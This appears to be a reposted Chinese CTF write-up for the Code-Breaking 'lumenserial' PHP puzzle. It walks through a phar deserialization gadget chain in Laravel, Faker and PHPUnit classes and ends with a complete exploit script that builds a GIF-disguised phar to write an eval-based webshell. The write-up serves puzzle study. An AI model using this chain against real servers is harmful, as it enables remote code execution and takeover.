内容简介:赛题地址:这题极其头疼的就是环境为 php 7.2.12、并且禁用了这些函数
赛题地址: https://code-breaking.com/puzzle/7/
这题极其头疼的就是环境为 php 7.2.12、并且禁用了这些函数
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
导致找利用的时候需要一个品相特别好的利用链,P师傅是寻找到了一个***(暂时保密)的点,我依据 call_user_func_*
方面找了一些利用
这题用的是 ueditor
,存在远程下载的功能
$content = file_get_contents($url); $img = getimagesizefromstring($content); 这里面其实按理`getimagesizefromstring`也是可以利用phar,不过file_get_contents中的url更好利用一点 POST /server/editor?action=Catchimage&source[]=phar:///var/www/html/xxx HTTP/1.1 Host: 51.158.73.123:8080
寻找gadget
phar反序列化第一步主要找两个魔术方法入口: __destruct|__wakeup
1、Illuminate\Broadcasting::__destruct
namespace Illuminate\Broadcasting{ class PendingBroadcast{ public function __destruct(){ $this->events->dispatch($this->event); } } }
在这里可以通过给 $this->events
存放其他类从而调用其他类的 __call
方法
2、Faker\ValidGenerator::__call
namespace Faker{ class ValidGenerator{ public function __call($name, $arguments){ $i = 0; do { $res = call_user_func_array(array($this->generator, $name), $arguments); $i++; if ($i > $this->maxRetries) { die('error'); } } while (!call_user_func($this->validator, $res)); return $res; } } }
这个是整个的利用核心,因为 __call
魔术方法调用过来的参数只有 $this->event
一个,所以这导致你只能给其他函数传一个参数,没有了命令函数、php7版本的问题(assert成为语言结构,很多函数不能动态调用)导致需要完全控制参数才行.
array( 0 => $argv )
在上面的代码中,先通过 call_user_func_array
调用,然后其结果作为后面的 call_user_func
的参数
3、Faker\Generator::getFormatter (解决 call_user_func
的参数控制)
namespace Faker{ class Generator{ public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } } } }
可以看到这里面 getFormatter
会返回 $this->formatters[$formatter]
,也就是 Faker\ValidGenerator::__call
中第二个 call_user_func
的参数得到了解决,因为它可以完全被控制
$this->formatters = [ "exploit" => ["/var/www/html/1.php","aaaa"] ];
4、(进行最终的exploit攻击)
namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback implements Stub{ public function invoke(Invocation $invocation){ return \call_user_func_array($this->callback, $invocation->getParameters()); } } } 其中Invocation是一个接口,所以找到具体的类即可 namespace PHPUnit\Framework\MockObject\Invocation; class StaticInvocation implements Invocation, SelfDescribing public function getParameters(): array{ return $this->parameters; } } }
可以看到最后进入 PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke
的 $this->callback
, $invocation->getParameters()
都是可控的
exploit
<?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Faker{ class Generator{ protected $formatters; function __construct($forma){ $this->formatters = $forma; } } class ValidGenerator{ protected $generator; protected $validator; protected $maxRetries; public function __construct($generator, $validator, $maxRetries = 10000){ $this->generator = $generator; $this->validator = $validator; $this->maxRetries = $maxRetries; } } } namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ function __construct($parameters){ $this->parameters = $parameters; } } } namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback{ public function __construct($callback){ $this->callback = $callback; } } } # exp func call namespace{ $exp_func = "file_put_contents"; $exp_args = ["C:\\phpstudy2018\\PHPTutorial\\WWW\\ctf\\pwnhub\\lumenserial\\bbbb.php", base64_decode("PD9waHAgZXZhbCgkX0dFVFsnMTEnXSk7Pz4=")]; $exp_args_obj = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($exp_args); $exp_call_obj = new PHPUnit\Framework\MockObject\Stub\ReturnCallback($exp_func); $tmp_arr = ["gogogo" => $exp_args_obj]; $s4_obj = new Faker\Generator($tmp_arr); $get_func_arr = array("dispatch"=> array($s4_obj, "getFormatter")); $s3_obj = new Faker\Generator($get_func_arr); $s2_obj = new Faker\ValidGenerator($s3_obj, array($exp_call_obj,"invoke"), 2); $s1_obj = new Illuminate\Broadcasting\PendingBroadcast($s2_obj, "gogogo"); echo urlencode(serialize($s1_obj))."\n\r\n\r"; $p = new Phar('./exploit.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($s1_obj); $p->addFromString('1.txt','text'); $p->stopBuffering(); }
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- code-breaking
- code-breaking writeup
- code-breaking lumenserial
- Code-Breaking Puzzles 笔记
- Code-Breaking JS Writeup
- Code-Breaking Puzzles 做题记录
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Think Python
Allen B. Downey / O'Reilly Media / 2012-8-23 / GBP 29.99
Think Python is an introduction to Python programming for students with no programming experience. It starts with the most basic concepts of programming, and is carefully designed to define all terms ......一起来看看 《Think Python》 这本书的介绍吧!